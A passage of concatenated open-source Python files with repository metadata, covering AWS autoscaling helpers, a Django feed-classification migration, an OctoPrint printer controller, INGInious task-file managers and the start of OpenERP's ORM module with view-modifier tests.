{1}".format(ami_id, edp)) return ami_for_stage def asgs_for_edp(edp, filter_asgs_pending_delete=True): """ All AutoScalingGroups that have the tags of this play. A play is made up of many auto_scaling groups. Arguments: EDP Named Tuple: The edp tags for the ASGs you want. Returns: list: list of ASG names that match the EDP. eg. [ u'edxapp-v018', u'sandbox-edx-hacking-ASG', u'sandbox-edx-insights-ASG', u'test-edx-ecomapp', u'test-edx-edxapp-v007', u'test2-edx-certificates', ] """ all_groups = get_all_autoscale_groups() matching_groups = [] LOG.info("Found {} ASGs".format(len(all_groups))) for group in all_groups: LOG.debug("Checking group {}".format(group)) tags = {tag.key: tag.value for tag in group.tags} LOG.debug("Tags for asg {}: {}".format(group.name, tags)) if filter_asgs_pending_delete and ASG_DELETE_TAG_KEY in tags.keys(): LOG.info("filtering ASG: {0} because it is tagged for deletion on: {1}" .format(group.name, tags[ASG_DELETE_TAG_KEY])) continue edp_keys = ['environment', 'deployment', 'play'] if all([tag in tags for tag in edp_keys]): group_env = tags['environment'] group_deployment = tags['deployment'] group_play = tags['play'] group_edp = EDP(group_env, group_deployment, group_play) if group_edp == edp: matching_groups.append(group.name) LOG.info( "Returning %s ASGs for EDP %s-%s-%s.", len(matching_groups), edp.environment, edp.deployment, edp.play ) return matching_groups def create_tag_for_asg_deletion(asg_name, seconds_until_delete_delta=None): """ Create a tag that will be used to mark an ASG for deletion. """ if seconds_until_delete_delta is None: tag_value = None else: tag_value = (datetime.utcnow() + timedelta(seconds=seconds_until_delete_delta)).isoformat() return Tag(key=ASG_DELETE_TAG_KEY, value=tag_value, propagate_at_launch=False, resource_id=asg_name) @backoff.on_exception(backoff.expo, BotoServerError, max_tries=MAX_ATTEMPTS, giveup=giveup_if_not_throttling, factor=RETRY_FACTOR) def tag_asg_for_deletion(asg_name, seconds_until_delete_delta=1800): """ Tag an asg with a tag named ASG_DELETE_TAG_KEY with a value of the MS since epoch UTC + ms_until_delete_delta that an ASG may be deleted. Arguments: asg_name (str): the name of the autoscale group to tag Returns: None """ tag = create_tag_for_asg_deletion(asg_name, seconds_until_delete_delta) autoscale = boto.connect_autoscale() if len(get_all_autoscale_groups([asg_name])) < 1: LOG.info("ASG {} no longer exists, will not tag".format(asg_name)) else: autoscale.create_or_update_tags([tag]) @backoff.on_exception(backoff.expo, BotoServerError, max_tries=MAX_ATTEMPTS, giveup=giveup_if_not_throttling, factor=RETRY_FACTOR) def remove_asg_deletion_tag(asg_name): """ Remove deletion tag from an asg. Arguments: asg_name (str): the name of the autoscale group from which to remove the deletion tag Returns: None """ asgs = get_all_autoscale_groups([asg_name]) if len(asgs) < 1: LOG.info("ASG {} no longer exists, will not remove deletion tag.".format(asg_name)) else: for asg in asgs: for tag in asg.tags: if tag.key == ASG_DELETE_TAG_KEY: tag.delete() def get_asgs_pending_delete(): """ Get a list of all the autoscale groups marked with the ASG_DELETE_TAG_KEY. Return only those groups who's ASG_DELETE_TAG_KEY as past the current time. It's intended for this method to be robust and to return as many ASGs that are pending delete as possible even if an error occurs during the process. Returns: List(<boto.ec2.autoscale.group.AutoScalingGroup>) """ current_datetime = datetime.utcnow() asgs_pending_delete = [] asgs = get_all_autoscale_groups() LOG.debug("Found {0} autoscale groups".format(len(asgs))) for asg in asgs: LOG.debug("Checking for {0} on asg: {1}".format(ASG_DELETE_TAG_KEY, asg.name)) for tag in asg.tags: try: if tag.key == ASG_DELETE_TAG_KEY: LOG.debug("Found {0} tag, deletion time: {1}".format(ASG_DELETE_TAG_KEY, tag.value)) if datetime.strptime(tag.value, ISO_DATE_FORMAT) - current_datetime < timedelta(0, 0, 0): LOG.debug("Adding ASG: {0} to the list of ASGs to delete.".format(asg.name)) asgs_pending_delete.append(asg) break except ValueError: LOG.warning( "ASG {0} has an improperly formatted datetime string for the key {1}. Value: {2} . " "Format must match {3}".format( asg.name, tag.key, tag.value, ISO_DATE_FORMAT ) ) continue except Exception as err: # pylint: disable=broad-except LOG.warning("Error occured while building a list of ASGs to delete, continuing: {0}".format(err)) continue LOG.info("Number of ASGs pending delete: {0}".format(len(asgs_pending_delete))) return asgs_pending_delete def terminate_instances(region, tags, max_run_hours, skip_if_tag): """ Terminates instances based on tag and the number of hours an instance has been running. Args: region (str): the ec2 region to search for instances. tags (dict): tag names/values to search for instances (e.g. {'tag:Name':'*string*'} ). max_run_hours (int): number of hours the instance should be left running before termination. skip_if_tag (str): Instance will not be terminated if it is tagged with this value. Returns: list: of the instance IDs terminated. """ conn = boto.ec2.connect_to_region(region) instances_to_terminate = [] reservations = conn.get_all_instances(filters=tags) for reservation in reservations: for instance in reservation.instances: total_run_time = datetime.utcnow() - datetime.strptime(instance.launch_time[:-1], ISO_DATE_FORMAT) if total_run_time > timedelta(hours=max_run_hours) and skip_if_tag not in instance.tags: instances_to_terminate.append(instance.id) if len(instances_to_terminate) > 0: conn.terminate_instances(instance_ids=instances_to_terminate) return instances_to_terminate def wait_for_in_service(all_asgs, timeout): """ Wait for the ASG and all instances in them to be healthy according to AWS metrics. Arguments: all_asgs(list<str>): A list of ASGs we want to be healthy. timeout: The amount of time in seconds to wait for healthy state. [ u'test-edx-edxapp-v008', u'test-edx-worker-v005', ] Returns: Nothing if healthy, raises a timeout exception if un-healthy. """ if len(all_asgs) == 0: LOG.info("No ASGs to monitor - skipping health check.") return asgs_left_to_check = list(all_asgs) LOG.info("Waiting for ASGs to be healthy: {}".format(asgs_left_to_check)) end_time = datetime.utcnow() + timedelta(seconds=timeout) while end_time > datetime.utcnow(): asgs = get_all_autoscale_groups(asgs_left_to_check) for asg in asgs: all_healthy = True for instance in asg.instances: if instance.health_status.lower() != 'healthy' or instance.lifecycle_state.lower() != 'inservice': # Instance is not ready. all_healthy = False break if all_healthy: # Then all are healthy we can stop checking this. LOG.debug("All instances healthy in ASG: {}".format(asg.name)) LOG.debug(asgs_left_to_check) asgs_left_to_check.remove(asg.name) if len(asgs_left_to_check) == 0: return time.sleep(1) raise TimeoutException("Some instances in the following ASGs never became healthy: {}".format(asgs_left_to_check)) def wait_for_healthy_elbs(elbs_to_monitor, timeout): """ Wait for all instances in all ELBs listed to be healthy. Raise a timeout exception if they don't become healthy. Arguments: elbs_to_monitor(list<str>): Names of ELBs that we are monitoring. timeout: Timeout in seconds of how long to wait. Returns: None: When all ELBs have only healthy instances in them. Raises: TimeoutException: We we have run out of time. """ @backoff.on_exception(backoff.expo, BotoServerError, max_tries=MAX_ATTEMPTS, giveup=giveup_if_not_throttling, factor=RETRY_FACTOR) def _get_elb_health(selected_elb): """ Get the health of an ELB Args: selected_elb (boto.ec2.elb.loadbalancer.LoadBalancer): Returns: list of InstanceState <boto.ec2.elb.instancestate.InstanceState> """ return selected_elb.get_instance_health() if len(elbs_to_monitor) == 0: LOG.info("No ELBs to monitor - skipping health check.") return elbs_left = set(elbs_to_monitor) end_time = datetime.utcnow() + timedelta(seconds=timeout) while end_time > datetime.utcnow(): elbs = get_all_load_balancers(elbs_left) for elb in elbs: LOG.info("Checking health for ELB: {}".format(elb.name)) all_healthy = True for instance in _get_elb_health(elb): if instance.state != 'InService': all_healthy = False break if all_healthy: LOG.info("All instances are healthy, remove {} from list of load balancers {}.".format( elb.name, elbs_left )) elbs_left.remove(elb.name) LOG.info("Number of load balancers remaining with unhealthy instances: {}".format(len(elbs_left))) if len(elbs_left) == 0: LOG.info("All instances in all ELBs are healthy, returning.") return time.sleep(WAIT_SLEEP_TIME) raise TimeoutException("The following ELBs never became healthy: {}".format(elbs_left))
eltoncarr/tubular
tubular/ec2.py
Python
agpl-3.0
19,451
# encoding: utf-8 import datetime import re from south.db import db from south.v2 import DataMigration from django.db import models import logging VIDEO_SERVICE_REGEXES = ( ('YouTube', r'http://gdata\.youtube\.com/feeds/'), ('YouTube', r'http://(www\.)?youtube\.com/'), ('blip.tv', r'http://(.+\.)?blip\.tv/'), ('Vimeo', r'http://(www\.)?vimeo\.com/'), ('Dailymotion', r'http://(www\.)?dailymotion\.com/rss')) class Migration(DataMigration): def forwards(self, orm): "Write your forwards methods here." for feed in orm['localtv.Feed'].objects.all(): video_service = None for service, regexp in VIDEO_SERVICE_REGEXES: if re.search(regexp, feed.feed_url, re.I): video_service = service break if video_service is None: feed.calculated_source_type = 'Feed' else: feed.calculated_source_type = 'User: %s' % video_service feed.save() def backwards(self, orm): "Write your backwards methods here." models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'localtv.category': { 'Meta': {'ordering': "['name']", 'unique_together': "(('slug', 'site'), ('name', 'site'))", 'object_name': 'Category'}, 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'logo': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '80'}), 'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'child_set'", 'null': 'True', 'to': "orm['localtv.Category']"}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['sites.Site']"}), 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '50', 'db_index': 'True'}) }, 'localtv.feed': { 'Meta': {'unique_together': "(('feed_url', 'site'),)", 'object_name': 'Feed'}, 'auto_approve': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'auto_authors': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'auto_feed_set'", 'blank': 'True', 'to': "orm['auth.User']"}), 'auto_categories': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['localtv.Category']", 'symmetrical': 'False', 'blank': 'True'}), 'avoid_frontpage': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'calculated_source_type': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {}), 'etag': ('django.db.models.fields.CharField', [], {'max_length': '250', 'blank': 'True'}), 'feed_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'has_thumbnail': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'last_updated': ('django.db.models.fields.DateTimeField', [], {}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '250'}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['sites.Site']"}), 'status': ('django.db.models.fields.IntegerField', [], {}), 'thumbnail_extension': ('django.db.models.fields.CharField', [], {'max_length': '8', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}), 'webpage': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'when_submitted': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'localtv.originalvideo': { 'Meta': {'object_name': 'OriginalVideo'}, 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '250'}), 'remote_thumbnail_hash': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '64'}), 'remote_video_was_deleted': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'thumbnail_updated': ('django.db.models.fields.DateTimeField', [], {'blank': 'True'}), 'thumbnail_url': ('django.db.models.fields.URLField', [], {'max_length': '400', 'blank': 'True'}), 'video': ('django.db.models.fields.related.OneToOneField', [], {'related_name': "'original'", 'unique': 'True', 'to': "orm['localtv.Video']"}) }, 'localtv.savedsearch': { 'Meta': {'object_name': 'SavedSearch'}, 'auto_approve': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'auto_authors': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'auto_savedsearch_set'", 'blank': 'True', 'to': "orm['auth.User']"}), 'auto_categories': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['localtv.Category']", 'symmetrical': 'False', 'blank': 'True'}), 'has_thumbnail': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'query_string': ('django.db.models.fields.TextField', [], {}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['sites.Site']"}), 'thumbnail_extension': ('django.db.models.fields.CharField', [], {'max_length': '8', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}), 'when_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'localtv.sitelocation': { 'Meta': {'object_name': 'SiteLocation'}, 'about_html': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'admins': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'admin_for'", 'blank': 'True', 'to': "orm['auth.User']"}), 'background': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}), 'comments_required_login': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'css': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'display_submit_button': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'footer_html': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'free_trial_available': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'has_thumbnail': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'logo': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}), 'payment_due_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'payment_secret': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'}), 'playlists_enabled': ('django.db.models.fields.IntegerField', [], {'default': '1'}), 'screen_all_comments': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'sidebar_html': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['sites.Site']", 'unique': 'True'}), 'status': ('django.db.models.fields.IntegerField', [], {'default': '1'}), 'submission_requires_login': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'tagline': ('django.db.models.fields.CharField', [], {'max_length': '250', 'blank': 'True'}), 'thumbnail_extension': ('django.db.models.fields.CharField', [], {'max_length': '8', 'blank': 'True'}), 'tier_name': ('django.db.models.fields.CharField', [], {'default': "'basic'", 'max_length': '255'}), 'use_original_date': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, 'localtv.video': { 'Meta': {'ordering': "['-when_submitted']", 'object_name': 'Video'}, 'authors': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'authored_set'", 'blank': 'True', 'to': "orm['auth.User']"}), 'categories': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['localtv.Category']", 'symmetrical': 'False', 'blank': 'True'}), 'contact': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '250', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'embed_code': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'feed': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['localtv.Feed']", 'null': 'True', 'blank': 'True'}), 'file_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'file_url_length': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}), 'file_url_mimetype': ('django.db.models.fields.CharField', [], {'max_length': '60', 'blank': 'True'}), 'flash_enclosure_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'guid': ('django.db.models.fields.CharField', [], {'max_length': '250', 'blank': 'True'}), 'has_thumbnail': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'last_featured': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '250'}), 'notes': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'search': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['localtv.SavedSearch']", 'null': 'True', 'blank': 'True'}), 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['sites.Site']"}), 'status': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'thumbnail_extension': ('django.db.models.fields.CharField', [], {'max_length': '8', 'blank': 'True'}), 'thumbnail_url': ('django.db.models.fields.URLField', [], {'max_length': '400', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}), 'video_service_url': ('django.db.models.fields.URLField', [], {'default': "''", 'max_length': '200', 'blank': 'True'}), 'video_service_user': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '250', 'blank': 'True'}), 'website_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'when_approved': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'when_modified': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'auto_now': 'True', 'db_index': 'True', 'blank': 'True'}), 'when_published': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}), 'when_submitted': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}) }, 'localtv.watch': { 'Meta': {'object_name': 'Watch'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'ip_address': ('django.db.models.fields.IPAddressField', [], {'max_length': '15'}), 'timestamp': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}), 'video': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['localtv.Video']"}) }, 'localtv.widgetsettings': { 'Meta': {'object_name': 'WidgetSettings'}, 'bg_color': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}), 'bg_color_editable': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'border_color': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}), 'border_color_editable': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'css': ('django.db.models.fields.files.FileField', [], {'max_length': '100', 'blank': 'True'}), 'css_editable': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'has_thumbnail': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'icon': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}), 'icon_editable': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'site': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['sites.Site']", 'unique': 'True'}), 'text_color': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}), 'text_color_editable': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'thumbnail_extension': ('django.db.models.fields.CharField', [], {'max_length': '8', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '250', 'blank': 'True'}), 'title_editable': ('django.db.models.fields.BooleanField', [], {'default': 'True'}) }, 'sites.site': { 'Meta': {'ordering': "('domain',)", 'object_name': 'Site', 'db_table': "'django_site'"}, 'domain': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) } } complete_apps = ['localtv']
pculture/mirocommunity
localtv/migrations/0047_populate_calculated_source_type.py
Python
agpl-3.0
18,280
# Copyright (c) 2020 Aldo Hoeben / fieldOfView # OctoPrintPlugin is released under the terms of the AGPLv3 or higher. from cura.PrinterOutput.GenericOutputController import GenericOutputController try: # Cura 4.1 and newer from cura.PrinterOutput.PrinterOutputDevice import PrinterOutputDevice, ConnectionState from cura.PrinterOutput.Models.PrinterOutputModel import PrinterOutputModel except ImportError: # Cura 3.5 - Cura 4.0 from cura.PrinterOutputDevice import PrinterOutputDevice, ConnectionState from cura.PrinterOutput.PrinterOutputModel import PrinterOutputModel class OctoPrintOutputController(GenericOutputController): def __init__(self, output_device: "PrinterOutputDevice") -> None: super().__init__(output_device) def moveHead(self, printer: "PrinterOutputModel", x, y, z, speed) -> None: axis_information = self._output_device.getAxisInformation() if axis_information["x"].inverted: x = -x if axis_information["y"].inverted: y = -y if axis_information["z"].inverted: z = -z self._output_device.sendCommand("G91") self._output_device.sendCommand("G0 X%s Y%s Z%s F%s" % (x, y, z, speed)) self._output_device.sendCommand("G90")
fieldOfView/OctoPrintPlugin
OctoPrintOutputController.py
Python
agpl-3.0
1,276
import os.path from common.base import INGIniousConfiguration from common.task_file_managers.yaml_manager import TaskYAMLFileManager _task_file_managers = [TaskYAMLFileManager] def get_readable_tasks(courseid): """ Returns the list of all available tasks in a course """ tasks = [ task for task in os.listdir(os.path.join(INGIniousConfiguration["tasks_directory"], courseid)) if os.path.isdir(os.path.join(INGIniousConfiguration["tasks_directory"], courseid, task)) and _task_file_exists(os.path.join(INGIniousConfiguration["tasks_directory"], courseid, task))] return tasks def _task_file_exists(directory): """ Returns true if a task file exists in this directory """ for filename in ["task.{}".format(ext) for ext in get_available_task_file_managers().keys()]: if os.path.isfile(os.path.join(directory, filename)): return True return False def get_task_file_manager(courseid, taskid): """ Returns the appropriate task file manager for this task """ for ext, subclass in get_available_task_file_managers().iteritems(): if os.path.isfile(os.path.join(INGIniousConfiguration["tasks_directory"], courseid, taskid, "task.{}".format(ext))): return subclass(courseid, taskid) return None def delete_all_possible_task_files(courseid, taskid): """ Deletes all possibles task files in directory, to allow to change the format """ for ext in get_available_task_file_managers().keys(): try: os.remove(os.path.join(INGIniousConfiguration["tasks_directory"], courseid, taskid, "task.{}".format(ext))) except: pass def add_custom_task_file_manager(task_file_manager): """ Add a custom task file manager """ _task_file_managers.append(task_file_manager) def get_available_task_file_managers(): """ Get a dict with ext:class pairs """ return {f.get_ext(): f for f in _task_file_managers}
GuillaumeDerval/INGInious
common/task_file_managers/manage.py
Python
agpl-3.0
1,952
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## #.apidoc title: Object Relational Mapping #.apidoc module-mods: member-order: bysource """ Object relational mapping to database (postgresql) module * Hierarchical structure * Constraints consistency, validations * Object meta Data depends on its status * Optimised processing by complex query (multiple actions at once) * Default fields value * Permissions optimisation * Persistant object: DB postgresql * Datas conversions * Multi-level caching system * 2 different inheritancies * Fields: - classicals (varchar, integer, boolean, ...) - relations (one2many, many2one, many2many) - functions """ import babel.dates import calendar import collections import copy import datetime import itertools import logging import operator import pickle import re import simplejson import time import traceback import types from collections import defaultdict import psycopg2 from lxml import etree import fields import openerp import openerp.netsvc as netsvc import openerp.tools as tools from openerp.tools.config import config from openerp.tools.misc import CountingStream from openerp.tools.safe_eval import safe_eval as eval from openerp.tools.translate import _ from openerp import SUPERUSER_ID from query import Query _logger = logging.getLogger(__name__) _schema = logging.getLogger(__name__ + '.schema') # List of etree._Element subclasses that we choose to ignore when parsing XML. from openerp.tools import SKIPPED_ELEMENT_TYPES regex_order = re.compile('^( *([a-z0-9_]+|"[a-z0-9_]+")( *desc| *asc)?( *, *|))+$', re.I) regex_object_name = re.compile(r'^[a-z0-9_.]+$') # TODO for trunk, raise the value to 1000 AUTOINIT_RECALCULATE_STORED_FIELDS = 40 def transfer_field_to_modifiers(field, modifiers): default_values = {} state_exceptions = {} for attr in ('invisible', 'readonly', 'required'): state_exceptions[attr] = [] default_values[attr] = bool(field.get(attr)) for state, modifs in (field.get("states",{})).items(): for modif in modifs: if default_values[modif[0]] != modif[1]: state_exceptions[modif[0]].append(state) for attr, default_value in default_values.items(): if state_exceptions[attr]: modifiers[attr] = [("state", "not in" if default_value else "in", state_exceptions[attr])] else: modifiers[attr] = default_value # Don't deal with groups, it is done by check_group(). # Need the context to evaluate the invisible attribute on tree views. # For non-tree views, the context shouldn't be given. def transfer_node_to_modifiers(node, modifiers, context=None, in_tree_view=False): if node.get('attrs'): modifiers.update(eval(node.get('attrs'))) if node.get('states'): if 'invisible' in modifiers and isinstance(modifiers['invisible'], list): # TODO combine with AND or OR, use implicit AND for now. modifiers['invisible'].append(('state', 'not in', node.get('states').split(','))) else: modifiers['invisible'] = [('state', 'not in', node.get('states').split(','))] for a in ('invisible', 'readonly', 'required'): if node.get(a): v = bool(eval(node.get(a), {'context': context or {}})) if in_tree_view and a == 'invisible': # Invisible in a tree view has a specific meaning, make it a # new key in the modifiers attribute. modifiers['tree_invisible'] = v elif v or (a not in modifiers or not isinstance(modifiers[a], list)): # Don't set the attribute to False if a dynamic value was # provided (i.e. a domain from attrs or states). modifiers[a] = v def simplify_modifiers(modifiers): for a in ('invisible', 'readonly', 'required'): if a in modifiers and not modifiers[a]: del modifiers[a] def transfer_modifiers_to_node(modifiers, node): if modifiers: simplify_modifiers(modifiers) node.set('modifiers', simplejson.dumps(modifiers)) def setup_modifiers(node, field=None, context=None, in_tree_view=False): """ Processes node attributes and field descriptors to generate the ``modifiers`` node attribute and set it on the provided node. Alters its first argument in-place. :param node: ``field`` node from an OpenERP view :type node: lxml.etree._Element :param dict field: field descriptor corresponding to the provided node :param dict context: execution context used to evaluate node attributes :param bool in_tree_view: triggers the ``tree_invisible`` code path (separate from ``invisible``): in tree view there are two levels of invisibility, cell content (a column is present but the cell itself is not displayed) with ``invisible`` and column invisibility (the whole column is hidden) with ``tree_invisible``. :returns: nothing """ modifiers = {} if field is not None: transfer_field_to_modifiers(field, modifiers) transfer_node_to_modifiers( node, modifiers, context=context, in_tree_view=in_tree_view) transfer_modifiers_to_node(modifiers, node) def test_modifiers(what, expected): modifiers = {} if isinstance(what, basestring): node = etree.fromstring(what) transfer_node_to_modifiers(node, modifiers) simplify_modifiers(modifiers) json = simplejson.dumps(modifiers) assert json == expected, "%s != %s" % (json, expected) elif isinstance(what, dict): transfer_field_to_modifiers(what, modifiers) simplify_modifiers(modifiers) json = simplejson.dumps(modifiers) assert json == expected, "%s != %s" % (json, expected) # To use this test: # import openerp # openerp.osv.orm.modifiers_tests() def modifiers_tests(): test_modifiers('<field name="a"/>', '{}') test_modifiers('<field name="a" invisible="1"/>', '{"invisible": true}') test_modifiers('<field name="a" readonly="1"/>', '{"readonly": true}') test_modifiers('<field name="a" required="1"/>', '{"required": true}') test_modifiers('<field name="a" invisible="0"/>', '{}') test_modifiers('<field name="a" readonly="0"/>', '{}') test_modifiers('<field name="a" required="0"/>', '{}') test_modifiers('<field name="a" invisible="1" required="1"/>', '{"invisible": true, "required": true}') # TODO order is not guaranteed 